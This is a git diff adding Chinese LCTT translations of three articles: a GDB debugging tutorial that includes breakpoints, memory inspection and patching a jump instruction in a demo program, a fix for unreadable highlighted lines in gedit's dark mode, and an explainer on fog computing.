https://theartofmachinery.com +[b]: https://github.com/lujun9972 +[1]: https://jinja2docs.readthedocs.io/en/stable/ +[2]: https://dlang.org/articles/mixin.html +[3]: https://theartofmachinery.com/2017/12/31/compile_time_brainfuck.html +[4]: https://gitlab.com/sarneaud/djinn +[5]: https://gitlab.com/sarneaud/djinn/-/tree/v0.1.0/examples +[6]: https://dlang.org/phobos/std_format.html#format-string +[7]: http://netpbm.sourceforge.net/doc/#formats +[8]: https://en.wikipedia.org/wiki/Mandelbrot_set +[9]: https://theartofmachinery.com/images/djinn/mandelbrot.png +[10]: https://theartofmachinery.com/images/djinn/inequality.svg +[11]: https://theartofmachinery.com/2020/05/21/glico_weighted_rock_paper_scissors.html +[12]: http://lpsolve.sourceforge.net/5.0/CPLEX-format.htm +[13]: https://zimpl.zib.de/ +[14]: https://gitlab.com/sarneaud/djinn/-/tree/v0.1.0/examples/inequality.lp.dj +[15]: https://www.gnu.org/software/glpk/ +[16]: https://theartofmachinery.com/images/djinn/inequality_solution.svg diff --git a/published/202207/20210107 A hands-on tutorial for using the GNU Project Debugger.md b/published/202207/20210107 A hands-on tutorial for using the GNU Project Debugger.md new file mode 100644 index 0000000000..d4efbf9e65 --- /dev/null +++ b/published/202207/20210107 A hands-on tutorial for using the GNU Project Debugger.md @@ -0,0 +1,547 @@ +[#]: subject: "A hands-on tutorial for using the GNU Project Debugger" +[#]: via: "https://opensource.com/article/21/1/gnu-project-debugger" +[#]: author: "Stephan Avenwedde https://opensource.com/users/hansic99" +[#]: collector: "lkxed" +[#]: translator: "Maisie-x" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14853-1.html" + +手把手教你使用 GNU 调试器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/22/122211c2fgo53m9tw3xe2p.jpg) + +> GNU 调试器是一个发现程序缺陷的强大工具。 + +如果你是一个程序员,想在你的软件增加某些功能,你首先考虑实现它的方法:例如写一个方法、定义一个类,或者创建新的数据类型。然后你用编译器或解释器可以理解的编程语言来实现这个功能。但是,如果你觉得你所有代码都正确,但是编译器或解释器依然无法理解你的指令怎么办?如果软件大多数情况下都运行良好,但是在某些环境下出现缺陷怎么办?这种情况下,你得知道如何正确使用调试器找到问题的根源。 + +GNU 调试器GNU Project Debugger([GDB][2])是一个发现项目缺陷的强大工具。它通过追踪程序运行过程中发生了什么来帮助你发现程序错误或崩溃的原因。(LCTT 校注:GDB 全程是“GNU Project Debugger”,即 “GNU 项目调试器”,但是通常我们简称为“GNU 调试器”) + +本文是 GDB 基本用法的实践教程。请跟随示例,打开命令行并克隆此仓库: + +``` +git clone https://github.com/hANSIc99/core_dump_example.git +``` + +### 快捷方式 + +GDB 的每条命令都可以缩短。例如:显示设定的断点的 `info break` 命令可以被缩短为 `i break`。你可能在其他地方看到过这种缩写,但在本文中,为了清晰展现使用的函数,我将所写出整个命令。 + +### 命令行参数 + +你可以将 GDB 附加到每个可执行文件。进入你克隆的仓库(`core_dump_example`),运行 `make` 进行编译。你现在能看到一个名为 `coredump` 的可执行文件。(更多信息,请参考我的文章《[创建和调试 Linux 的转储文件][3]》。) + +要将 GDB 附加到这个可执行文件,请输入: `gdb coredump`。 + +你的输出应如下所示: + +![gdb coredump output][4] + +返回结果显示没有找到调试符号。 + +调试信息是目标文件object file(可执行文件)的组成部分,调试信息包括数据类型、函数签名、源代码和操作码之间的关系。此时,你有两种选择: + +* 继续调试汇编代码(参见下文“无符号调试”) +* 使用调试信息进行编译,参见下一节内容 + +### 使用调试信息进行编译 + +为了在二进制文件中包含调试信息,你必须重新编译。打开 `Makefile`,删除第 9 行的注释标签(`#`)后重新编译: + +``` +CFLAGS =-Wall -Werror -std=c++11 -g +``` + +`-g` 告诉编译器包含调试信息。运行 `make clean`,接着运行 `make`,然后再次调用 GDB。你得到如下输出后就可以调试代码了: + +![GDB output with symbols][5] + +新增的调试信息会增加可执行文件的大小。在这种情况下,执行文件增加了 2.5 倍(从 26,088 字节 增加到 65,480 字节)。 + +输入 `run -c1`,使用 `-c1` 开关启动程序。当程序运行到达 `State_4` 时将崩溃: + +![gdb output crash on c1 switch][6] + +你可以检索有关程序的其他信息,`info source` 命令提供了当前文件的信息: + +![gdb info source output][7] + +* 101 行代码 +* 语言: C++ +* 编译器(版本、调优、架构、调试标志、语言标准) +* 调试格式:[DWARF 2][8] +* 没有预处理器宏指令(使用 GCC 编译时,宏仅在 [使用 -g3 标志编译][9] 时可用)。 + +`info shared` 命令打印了动态库列表机器在虚拟地址空间的地址,它们在启动时被加载到该地址,以便程序运行: + +![gdb info shared output][10] + +如果你想了解 Linux 中的库处理方式,请参见我的文章 [在 Linux 中如何处理动态库和静态库][11]。 + +### 调试程序 + +你可能已经注意到,你可以在 GDB 中使用 `run` 命令启动程序。`run` 命令接受命令行参数,就像从控制台启动程序一样。`-c1` 开关会导致程序在第 4 阶段崩溃。要从头开始运行程序,你不用退出 GDB,只需再次运行 `run` 命令。如果没有 `-c1` 开关,程序将陷入死循环,你必须使用 `Ctrl+C` 来结束死循环。 + +![gdb output stopped by sigint][12] + +你也可以一步一步运行程序。在 C/C++ 中,入口是 `main` 函数。使用 `list main` 命令打开显示 `main` 函数的部分源代码: + +![gdb output list main][13] + +`main` 函数在第 33 行,因此可以输入 `break 33` 在 33 行添加断点: + +![gdb output breakpoint added][14] + +输入 `run` 运行程序。正如预期的那样,程序在 `main` 函数处停止。输入 `layout src` 并排查看源代码: + +![gdb output break at main][15] + +你现在处于 GDB 的文本用户界面(TUI)模式。可以使用键盘向上和向下箭头键滚动查看源代码。 + +GDB 高亮显示当前执行行。你可以输入 `next`(`n`)命令逐行执行命令。如果你没有指定新的命令,GBD 会执行上一条命令。要逐行运行代码,只需按回车键。 + +有时,你会发现文本的输出有点显示不正常: + +![gdb output corrupted][16] + +如果发生这种情况,请按 `Ctrl+L` 重置屏幕。 + +使用 `Ctrl+X+A` 可以随时进入和退出 TUI 模式。你可以在手册中找到 [其他的键绑定][17] 。 + +要退出 GDB,只需输入 `quit`。 + +### 设置监察点 + +这个示例程序的核心是一个在无限循环中运行的状态机。`n_state` 变量枚举了当前所有状态: + +``` +while(true){ +        switch(n_state){ +        case State_1: +                std::cout << "State_1 reached" << std::flush; +                n_state = State_2; +                break; +        case State_2: +                std::cout << "State_2 reached" << std::flush; +                n_state = State_3; +                break; +        +        (.....) +        +        } +} +``` + +如果你希望当 `n_state` 的值为 `State_5` 时停止程序。为此,请在 `main` 函数处停止程序并为 `n_state` 设置监察点: + +``` +watch n_state == State_5 +``` + +只有当所需的变量在当前上下文中可用时,使用变量名设置监察点才有效。 + +当你输入 `continue` 继续运行程序时,你会得到如下输出: + +![gdb output stop on watchpoint_1][18] + +如果你继续运行程序,当监察点表达式评估为 `false` 时 GDB 将停止: + +![gdb output stop on watchpoint_2][19] + +你可以为一般的值变化、特定的值、读取或写入时来设置监察点。 + +### 更改断点和监察点 + +输入 `info watchpoints` 打印先前设置的监察点列表: + +![gdb output info watchpoints][20] + +#### 删除断点和监察点 + +如你所见,监察点就是数字。要删除特定的监察点,请先输入 `delete` 后输入监察点的编号。例如,我的监察点编号为 2;要删除此监察点,输入 `delete 2`。 + +*注意:* 如果你使用 `delete` 而没有指定数字,*所有* 监察点和断点将被删除。 + +这同样适用于断点。在下面的截屏中,我添加了几个断点,输入 `info breakpoint` 打印断点列表: + +![gdb output info breakpoints][21] + +要删除单个断点,请先输入 `delete` 后输入断点的编号。另外一种方式:你可以通过指定断点的行号来删除断点。例如,`clear 78` 命令将删除第 78 行设置的断点号 7。 + +#### 禁用或启用断点和监察点 + +除了删除断点或监察点之外,你可以通过输入 `disable`,后输入编号禁用断点或监察点。在下文中,断点 3 和 4 被禁用,并在代码窗口中用减号标记: + +![disabled breakpoints][22] + +也可以通过输入类似 `disable 2 - 4` 修改某个范围内的断点或监察点。如果要重新激活这些点,请输入 `enable`,然后输入它们的编号。 + +### 条件断点 + +首先,输入 `delete` 删除所有断点和监察点。你仍然想使程序停在 `main` 函数处,如果你不想指定行号,可以通过直接指明该函数来添加断点。输入 `break main` 从而在 `main` 函数处添加断点。 + +输入 `run` 从头开始运行程序,程序将在 `main` 函数处停止。 + +`main` 函数包括变量 `n_state_3_count`,当状态机达到状态 3 时,该变量会递增。 + +基于 `n_state_3_count` 的值添加一个条件断点,请输入: + +``` +break 54 if n_state_3_count == 3 +``` + +![Set conditional breakpoint][23] + +继续运行程序。程序将在第 54 行停止之前运行状态机 3 次。要查看 `n_state_3_count` 的值,请输入: + +``` +print n_state_3_count +``` + +![print variable][24] + +#### 使断点成为条件断点 + +你也可以使现有断点成为条件断点。用 `clear 54` 命令删除最近添加的断点,并通过输入 `break 54` 命令添加一个简单的断点。你可以输入以下内容使此断点成为条件断点: + +``` +condition 3 n_state_3_count == 9 +``` + +`3` 指的是断点编号。 + +![modify breakpoint][25] + +#### 在其他源文件中设置断点 + +如果你的程序由多个源文件组成,你可以在行号前指定文件名来设置断点,例如,`break main. cpp:54`。 + +#### 捕捉点 + +除了断点和监察点之外,你还可以设置捕获点。捕获点适用于执行系统调用、加载共享库或引发异常等事件。 + +要捕获用于写入 STDOUT 的 `write` 系统调用,请输入: + +``` +catch syscall write +``` + +![catch syscall write output][26] + +每当程序写入控制台输出时,GDB 将中断执行。 + +在手册中,你可以找到一整章关于 [断点、监察点和捕捉点][27] 的内容。 + +### 评估和操作符号 + +用 `print` 命令可以打印变量的值。一般语法是 `print <表达式> <值>`。修改变量的值,请输入: + +``` +set variable . +``` + +在下面的截屏中,我将变量 `n_state_3_count` 的值设为 `123`。 + +![catch syscall write output][28] + +`/x` 表达式以十六进制打印值;使用 `&` 运算符,你可以打印虚拟地址空间内的地址。 + +如果你不确定某个符号的数据类型,可以使用 `whatis` 来查明。 + +![whatis output][29] + +如果你要列出 `main` 函数范围内可用的所有变量,请输入 `info scope main` : + +![info scope main output][30] + +`DW_OP_fbreg` 值是指基于当前子程序的堆栈偏移量。 + +或者,如果你已经在一个函数中并且想要列出当前堆栈帧上的所有变量,你可以使用 `info locals` : + +![info locals output][31] + +查看手册以了解更多 [检查符号][32] 的内容。 + +### 附加调试到一个正在运行的进程 + +`gdb attach <进程 ID>` 命令允许你通过指定进程 ID(PID)附加到一个已经在运行的进程进行调试。幸运的是,`coredump` 程序将其当前 PID 打印到屏幕上,因此你不必使用 [ps][33] 或 [top][34] 手动查找 PID。 + +启动 `coredump` 应用程序的一个实例: + +``` +./coredump +``` + +![coredump application][35] + +操作系统显示 PID 为 `2849`。打开一个单独的控制台窗口,移动到 `coredump` 应用程序的根目录,然后用 GDB 附加到该进程进行调试: + +``` +gdb attach 2849 +``` + +![attach GDB to coredump][36] + +当你用 GDB 附加到进程时,GDB 会立即停止进程运行。输入 `layout src` 和 `backtrace` 来检查调用堆栈: + +![layout src and backtrace output][37] + +输出显示在 `main.cpp` 第 92 行调用 `std::this_thread::sleep_for<...>(. ..)` 函数时进程中断。 + +只要你退出 GDB,该进程将继续运行。 + +你可以在 GDB 手册中找到有关 [附加调试正在运行的进程][38] 的更多信息。 + +#### 在堆栈中移动 + +在命令窗口,输入 `up` 两次可以在堆栈中向上移动到 `main.cpp` : + +![moving up the stack to main.cpp][39] + +通常,编译器将为每个函数或方法创建一个子程序。每个子程序都有自己的栈帧,所以在栈帧中向上移动意味着在调用栈中向上移动。 + +你可以在手册中找到有关 [堆栈计算][40] 的更多信息。 + +#### 指定源文件 + +当调试一个已经在运行的进程时,GDB 将在当前工作目录中寻找源文件。你也可以使用 [目录命令][41] 手动指定源目录。 + +### 评估转储文件 + +阅读 [创建和调试 Linux 的转储文件][42] 了解有关此主题的信息。 + +参考文章太长,简单来说就是: + +1. 假设你使用的是最新版本的 Fedora +2. 使用 `-c1` 开关调用 coredump:`coredump -c1` + + ![Crash meme][44] + +3. 使用 GDB 加载最新的转储文件:`coredumpctl debug` +4. 打开 TUI 模式并输入 `layout src` + +![coredump output][45] + +`backtrace` 的输出显示崩溃发生在距离 `main.cpp` 五个栈帧之外。回车直接跳转到 `main.cpp` 中的错误代码行: + +![up 5 output][46] + +看源码发现程序试图释放一个内存管理函数没有返回的指针。这会导致未定义的行为并引起 `SIGABRT`。 + +### 无符号调试 + +如果没有源代码,调试就会变得非常困难。当我在尝试解决逆向工程的挑战时,我第一次体验到了这一点。了解一些 [汇编语言][47] 的知识会很有用。 + +我们用例子看看它是如何运行的。 + +找到根目录,打开 `Makefile`,然后像下面一样编辑第 9 行: + +``` +CFLAGS =-Wall -Werror -std=c++11 #-g +``` + +要重新编译程序,先运行 `make clean`,再运行 `make`,最后启动 GDB。该程序不再有任何调试符号来引导源代码的走向。 + +![no debugging symbols][48] + +`info file` 命令显示二进制文件的内存区域和入口点: + +![info file output][49] + +`.text` 区段始终从入口点开始,其中包含实际的操作码。要在入口点添加断点,输入 `break *0x401110` 然后输入 `run` 开始运行程序: + +![breakpoint at the entry point][50] + +要在某个地址设置断点,使用取消引用运算符 `*` 来指定地址。 + +#### 选择反汇编程序风格 + +在深入研究汇编之前,你可以选择要使用的 [汇编风格][51]。 GDB 默认是 AT&T,但我更喜欢 Intel 语法。变更风格如下: + +``` +set disassembly-flavor intel +``` + +![changing assembly flavor][52] + +现在输入 `layout asm` 调出汇编代码窗口,输入 `layout reg` 调出寄存器窗口。你现在应该看到如下输出: + +![layout asm and layout reg output][53] + +#### 保存配置文件 + +尽管你已经输入了许多命令,但实际上还没有开始调试。如果你正在大量调试应用程序或尝试解决逆向工程的难题,则将 GDB 特定设置保存在文件中会很有用。 + +该项目的 GitHub 存储库中的 [gdbinit][54] 配置文件包含最近使用的命令: + +``` +set disassembly-flavor intel +set write on +break *0x401110 +run -c2 +layout asm +layout reg +``` + +`set write on` 命令使你能够在程序运行期间修改二进制文件。 + +退出 GDB 并使用配置文件重新启动 GDB : `gdb -x gdbinit coredump`。 + +#### 阅读指令 + +应用 `c2` 开关后,程序将崩溃。程序在入口函数处停止,因此你必须写入 `continue` 才能继续运行: + +![continuing execution after crash][55] + +`idiv` 指令进行整数除法运算:`RAX` 寄存器中为被除数,指定参数为除数。商被加载到 `RAX` 寄存器中,余数被加载到 `RDX` 中。 + +从寄存器角度,你可以看到 `RAX` 包含 `5`,因此你必须找出存储堆栈中位置为 `rbp-0x4` 的值。 + +#### 读取内存 + +要读取原始内存内容,你必须指定比读取符号更多的参数。在汇编输出中向上滚动一点,可以看到堆栈的划分: + +![stack division output][56] + +你最感兴趣的应该是 `rbp-0x4` 的值,因为它是 `idiv` 的存储参数。你可以从截图中看到`rbp-0x8` 位置的下一个变量,所以 `rbp-0x4` 位置的变量是 4 字节宽。 + +在 GDB 中,你可以使用 `x` 命令*查看*任何内存内容: + + +> `x/` < 可选参数 `n`、`f`、`u` > < 内存地址 `addr` > + +可选参数: + +* `n`:单元大小的重复计数(默认值:1) +* `f`:格式说明符,如 [printf][57] +* `u`:单元大小 + * `b`:字节 + * `h`:半字(2 个字节) + * w: 字(4 个字节)(默认) + * g: 双字(8 个字节) + +要打印 `rbp-0x4` 的值,请输入 `x/u $rbp-4` : + +![print value][58] + +如果你能记住这种模式,则可以直接查看内存。参见手册中的 [查看内存][59] 部分。 + +#### 操作汇编 + +子程序 `zeroDivide()` 发生运算异常。当你用向上箭头键向上滚动一点时,你会找到下面信息: + +``` +0x401211 <_Z10zeroDividev>              push   rbp +0x401212 <_Z10zeroDividev+1>            mov    rbp,rsp +``` + +这被称为 [函数前言][60]: + +1. 调用函数的基指针(`rbp`)存放在栈上 +2. 栈指针(`rsp`)的值被加载到基指针(`rbp`) + +完全跳过这个子程序。你可以使用 `backtrace` 查看调用堆栈。在 `main` 函数之前只有一个堆栈帧,所以你可以用一次 `up` 回到 `main` : + +![Callstack assembly][61] + +在你的 `main` 函数中,你会找到下面信息: + +``` +0x401431     cmp    BYTE PTR [rbp-0x12],0x0 +0x401435     je     0x40145f +0x401437     call   0x401211<_Z10zeroDividev> +``` + +子程序 `zeroDivide()` 仅在 `jump equal (je)` 为 `true` 时进入。你可以轻松地将其替换为 `jump-not-equal (jne)` 指令,该指令的操作码为 `0x75`(假设你使用的是 x86/64 架构;其他架构上的操作码不同)。输入 `run` 重新启动程序。当程序在入口函数处停止时,设置操作码: + +``` +set *(unsigned char*)0x401435 = 0x75 +``` + +最后,输入 `continue` 。该程序将跳过子程序 `zeroDivide()` 并且不会再崩溃。 + +### 总结 + +你会在许多集成开发环境(IDE)中发现 GDB 运行在后台,包括 Qt Creator 和 VSCodium 的 [本地调试][62] 扩展。 + +![GDB in VSCodium][63] + +了解如何充分利用 GDB 的功能很有用。一般情况下,并非所有 GDB 的功能都可以在 IDE 中使用,因此你可以从命令行使用 GDB 的经验中受益。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/1/gnu-project-debugger + +作者:[Stephan Avenwedde][a] +选题:[lkxed][b] +译者:[Maisie-x](https://github.com/Maisie-x) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hansic99 +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/mistake_bug_fix_find_error.png +[2]: https://www.gnu.org/software/gdb/ +[3]: https://opensource.com/article/20/8/linux-dump +[4]: https://opensource.com/sites/default/files/uploads/gdb_output_no_dbg_symbols.png +[5]: https://opensource.com/sites/default/files/uploads/gdb_output_with_symbols.png +[6]: https://opensource.com/sites/default/files/uploads/gdb_output_crash_on_c1_switch.png +[7]: https://opensource.com/sites/default/files/uploads/gdb_output_info_source.png +[8]: http://dwarfstd.org/ +[9]: https://sourceware.org/gdb/current/onlinedocs/gdb/Compilation.html#Compilation +[10]: https://opensource.com/sites/default/files/uploads/gdb_output_info_shared.png +[11]: https://opensource.com/article/20/6/linux-libraries +[12]: https://opensource.com/sites/default/files/uploads/gdb_output_stopped_by_sigint.png +[13]: https://opensource.com/sites/default/files/uploads/gdb_output_list_main.png +[14]: https://opensource.com/sites/default/files/uploads/gdb_output_breakpoint_added.png +[15]: https://opensource.com/sites/default/files/uploads/gdb_output_break_at_main.png +[16]: https://opensource.com/sites/default/files/images/gdb_output_screen_corrupted.png +[17]: https://sourceware.org/gdb/onlinedocs/gdb/TUI-Keys.html#TUI-Keys +[18]: https://opensource.com/sites/default/files/uploads/gdb_output_stop_on_watchpoint_1.png +[19]: https://opensource.com/sites/default/files/uploads/gdb_output_stop_on_watchpoint_2.png +[20]: https://opensource.com/sites/default/files/uploads/gdb_output_info_watchpoints.png +[21]: https://opensource.com/sites/default/files/uploads/gdb_output_info_breakpoints.png +[22]: https://opensource.com/sites/default/files/uploads/gdb_output_disabled_breakpoints.png +[23]: https://opensource.com/sites/default/files/uploads/gdb_output_set_conditional_breakpoint.png +[24]: https://opensource.com/sites/default/files/uploads/gdb_output_print_variable.png +[25]: https://opensource.com/sites/default/files/uploads/gdb_output_modify_breakpoint.png +[26]: https://opensource.com/sites/default/files/uploads/gdb_output_syscall_catch.png +[27]: https://sourceware.org/gdb/current/onlinedocs/gdb/Breakpoints.html#Breakpoints +[28]: https://opensource.com/sites/default/files/uploads/gdb_output_print_and_modify.png +[29]: https://opensource.com/sites/default/files/uploads/gdb_output_whatis.png +[30]: https://opensource.com/sites/default/files/uploads/gdb_output_info_scope_main.png +[31]: https://opensource.com/sites/default/files/uploads/gdb_output_info_locals_main.png +[32]: https://sourceware.org/gdb/current/onlinedocs/gdb/Symbols.html +[33]: https://man7.org/linux/man-pages/man1/ps.1.html +[34]: https://man7.org/linux/man-pages/man1/top.1.html +[35]: https://opensource.com/sites/default/files/uploads/coredump_running.png +[36]: https://opensource.com/sites/default/files/uploads/gdb_output_attaching_to_process.png +[37]: https://opensource.com/sites/default/files/uploads/gdb_output_backtrace.png +[38]: https://sourceware.org/gdb/current/onlinedocs/gdb/Attach.html#Attach +[39]: https://opensource.com/sites/default/files/uploads/gdb_output_stackframe_up.png +[40]: https://sourceware.org/gdb/current/onlinedocs/gdb/Stack.html#Stack +[41]: https://ftp.gnu.org/old-gnu/Manuals/gdb/html_node/gdb_48.html#SEC49 +[42]: https://opensource.com/article/20/8/linux-dump +[43]: https://creativecommons.org/licenses/by-sa/4.0/ +[44]: https://opensource.com/sites/default/files/uploads/crash.png +[45]: https://opensource.com/sites/default/files/uploads/gdb_output_coredump.png +[46]: https://opensource.com/sites/default/files/uploads/gdb_output_up_five.png +[47]: https://en.wikipedia.org/wiki/Assembly_language +[48]: https://opensource.com/sites/default/files/uploads/gdb_output_no_debugging_symbols.png +[49]: https://opensource.com/sites/default/files/uploads/gdb_output_info_file.png +[50]: https://opensource.com/sites/default/files/uploads/gdb_output_break_at_start.png +[51]: https://en.wikipedia.org/wiki/X86_assembly_language#Syntax +[52]: https://opensource.com/sites/default/files/uploads/gdb_output_disassembly_flavor.png +[53]: https://opensource.com/sites/default/files/uploads/gdb_output_layout_reg_asm.png +[54]: https://github.com/hANSIc99/core_dump_example/blob/master/gdbinit +[55]: https://opensource.com/sites/default/files/uploads/gdb_output_asm_div_zero.png +[56]: https://opensource.com/sites/default/files/uploads/gdb_output_stack_division.png +[57]: https://en.wikipedia.org/wiki/Printf_format_string#Type_field +[58]: https://opensource.com/sites/default/files/uploads/gdb_output_examine_1.png +[59]: https://sourceware.org/gdb/current/onlinedocs/gdb/Memory.html +[60]: https://en.wikipedia.org/wiki/Function_prologue +[61]: https://opensource.com/sites/default/files/uploads/gdb_output_callstack_assembly_0.png +[62]: https://github.com/WebFreak001/code-debug +[63]: https://opensource.com/sites/default/files/uploads/vs_codium_native_debug.png diff --git a/published/202207/20210120 Highlighted Text Not Visible in gedit in Dark Mode- Here-s What You Can Do.md b/published/202207/20210120 Highlighted Text Not Visible in gedit in Dark Mode- Here-s What You Can Do.md new file mode 100644 index 0000000000..a530d5f379 --- /dev/null +++ b/published/202207/20210120 Highlighted Text Not Visible in gedit in Dark Mode- Here-s What You Can Do.md @@ -0,0 +1,84 @@ +[#]: collector: "lujun9972" +[#]: translator: "void-mori" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14833-1.html" +[#]: subject: "Highlighted Text Not Visible in gedit in Dark Mode? Here’s What You Can Do" +[#]: via: "https://itsfoss.com/gedit-dark-mode-problem/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" + +gedit 深色模式下高亮文本不可见?以下是你能做的 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/16/094145b0gdwez5zo0zyuhz.jpg) + +我喜欢 [在 Ubuntu 中使用深色模式][1]。在我看来深色模式能够缓解视觉疲劳,让系统看起来更加的赏心悦目。 + +我发现了一个 [gedit][2] 文本编辑器的小麻烦,如果你在深色模式下使用它,你也许也会遇到。 + +默认情况下 gedit 高亮当前光标所在的行。这是一个非常有用的功能,但是如果你在 Linux 系统中开启了深色模式,那么你将会感到痛苦。为什么?因为被高亮的文本将不再变得可读。你自己看吧: + +![Text on the highlighted line is hardly visible][3] + +如果你选择文本,它将变得可读,但这并不是一个让人感到有多么愉快的阅读或者编辑体验。(LCTT 校注:在新的 Ubuntu 22.04 中,这一情况已经有所改善,“高亮当前行”已被取消勾选) + +![Selecting the text makes it better but that’s not a convenient thing to do for all lines][4] + +好消息是你不需要再忍受它。我将演示几个步骤让你能够同时享受 gedit 以及系统的深色模式。 + +### 让 gedit 在深色模式下阅读体验友好 + +你基本上有两个选择: + + 1. 禁用高亮当前行,但也同时意味着你必须清楚地知道你在哪一行。 + 2. 改变默认的颜色设置,但编辑器的颜色会变得稍微有些不同,而且如果你更改系统主题,它不会自动切换到浅色模式。 + +在 gedit 或者 GNOME 的开发者解决这个问题之前,这是你必须要做的应变和妥协。 + +#### 选项1: 禁止高亮当前行 + +当你打开 gedit 后,点击汉堡菜单然后选择“首选项Preferences”。 + +![Go to Preferences][5] + +在查看选项卡,你应该看到在 “高亮Highlighting” 区域的下方的 “高亮当前行Highlight current line” 选项。取消勾选这个选项,马上就可以看到效果。 + +![Disable highlighting current line][6] + +“高亮当前行”是一个有用的功能,如果你想继续使用它,请选择第二个选项。 + +#### 选项2: 更改编辑器的颜色主题 + +在“首选项Preferences”窗口,找到 “字体与颜色Font & Colors” 标签页,然后将颜色主题更改为 “Oblivion”、“Solarized Dark”,或者 “Cobalt”。 + +![Change the color scheme][7] + +正如我前面所提到的,缺点就是当你把系统主题切换为浅色模式时,编辑器将不会自动切换到浅色模式。 + +### 开发者应该修复的一个 bug + +这里 [有几个 Linux 可用的文本编辑器][8] ,但是为了快速阅读或编辑文本文件,我更推荐使用 gedit。尽管如此,小烦恼仍旧是小烦恼。开发者应该在将来的版本中为这个很好的文本编辑器修复这个问题,让我们不再求助于这些应对办法。 + +你呢?你在你的系统上使用深色模式还是浅色模式?你注意到 gedit 的这个问题了吗?你有使用什么方法去解决它吗?欢迎分享你的经验。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/gedit-dark-mode-problem/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[void-mori](https://github.com/void-mori) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/dark-mode-ubuntu/ +[2]: https://wiki.gnome.org/Apps/Gedit +[3]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/gedit-dark-mode-problem.png?resize=779%2C367&ssl=1 +[4]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/gedit-dark-mode-issue.png?resize=779%2C367&ssl=1 +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/gedit-preference.jpg?resize=777%2C527&ssl=1 +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/disable-highlight-line-gedit.jpg?resize=781%2C530&ssl=1 +[7]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/change-color-scheme-gedit.jpg?resize=785%2C539&ssl=1 +[8]: https://itsfoss.com/best-modern-open-source-code-editors-for-linux/ diff --git a/published/202207/20210511 What is fog computing.md b/published/202207/20210511 What is fog computing.md new file mode 100644 index 0000000000..7984cc82d7 --- /dev/null +++ b/published/202207/20210511 What is fog computing.md @@ -0,0 +1,67 @@ +[#]: subject: (What is fog computing?) +[#]: via: (https://opensource.com/article/21/5/fog-computing) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) +[#]: collector: (lujun9972) +[#]: translator: (hanszhao80) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14782-1.html) + +什么是雾计算? +====== + +> 了解由我们生活中的所有连接设备组成的网络。 + +![](https://img.linux.net.cn/data/attachment/album/202207/01/120728yne9qv0e2vc5ucm3.jpg) + +在早期,计算机既笨重又昂贵,计算机用户很少,他们必须在计算机上的预留时间内亲自来处理他们的打孔卡punchcard。被称为 [大型机][2]Mainframe 的系统进行了许多创新,并在终端机terminal(没有自己的 CPU 的桌面计算机)上实现了分时time-shared任务。 + +时至今日,强大的计算设备能做到 [价格低至 35 美元,且大小不超过一张信用卡][3]。这甚至还没有涵盖现代生活中负责收集和处理数据的所有小设备。从高层次的角度来看这些计算机的集合,你可以想象得到,所有这些设备多得像云中的水滴一样。 + +碰巧“云计算cloud computing”一词已经被占用,因此需要为由物联网(IoT)和其他具有战略意义的服务器组成的网络提供一个独特的名称。此外,如果已经有一个代表数据中心节点的云,那么在云之外与我们交融的这些节点肯定有其独特之处。 + +### 欢迎来到雾计算 + +云通过互联网提供计算服务。构成云的数据中心很大,但与潜在客户的数量相比相对较少。这表明当数据在云及其众多用户之间来回传送时存在潜在的瓶颈。 + +相比之下,雾计算Fog Computing可以在数量上超过其潜在客户,而不会出现瓶颈,因为设备执行大部分数据的收集或计算。它是云的外部“边缘”,是云落地的部分。 + +### 雾和边缘计算 + +雾计算和 [边缘计算][4]edge computing 本质上是同义词。两者都与云和物联网密切相关,并做出相同的架构假设: + +- 你离 CPU 越近,数据传输就越快。 +- 像 [Linux][5] 一样,小型专用计算机,可以“做一件事并把它做好”,这是一个强大的优势(当然,我们的设备实际上不仅仅做一件事,但从高层次上看,你购买的用于监测健康的智能手表本质上是在做“一”件事)。 +- 离线是不可避免的,但好的设备可以在此期间同样有效地运行,然后在重新连接时同步。 +- 本地设备能比大型数据中心更简单、更便宜。 + +### 边缘网络 + +将雾计算视为与云完全分离的实体很诱人,但它们毕竟是组成一个整体的两个部分。云需要数字企业的基础设施,包括公共云提供商、电信公司,甚至是运行自己服务的专业公司。本地化服务也很重要,可以在云核心与其数以百万计的客户之间提供中转站waystations。 + +雾计算位于云的边缘,无论客户身在何处,都与他们紧密联系在一起。有时这是一个消费环境,例如你自己的家或汽车,而另一些时候这是一种商业利益,例如零售店中的价格监控设备或工厂车间的重要的安全传感器。 + +### 雾计算就在你身边 + +雾计算由我们生活中的所有连接设备组成:无人机drone、电话、手表、健身监视器、安全监视器、家庭自动化、便携式游戏设备、园艺自动化、天气传感器、空气质量监视器等等。理想情况下,它提供的数据有助于建立一个更好、更明智的未来。有许多伟大的开源项目正朝着改善健康的方向而努力 —— 甚至只是让生活变得更有趣一点儿 —— 这一切都得益于雾和云计算。无论如何,_我们的_ 工作是确保它 [保持开放][7]。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/5/fog-computing + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[hanszhao80](https://github.com/hanszhao80) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 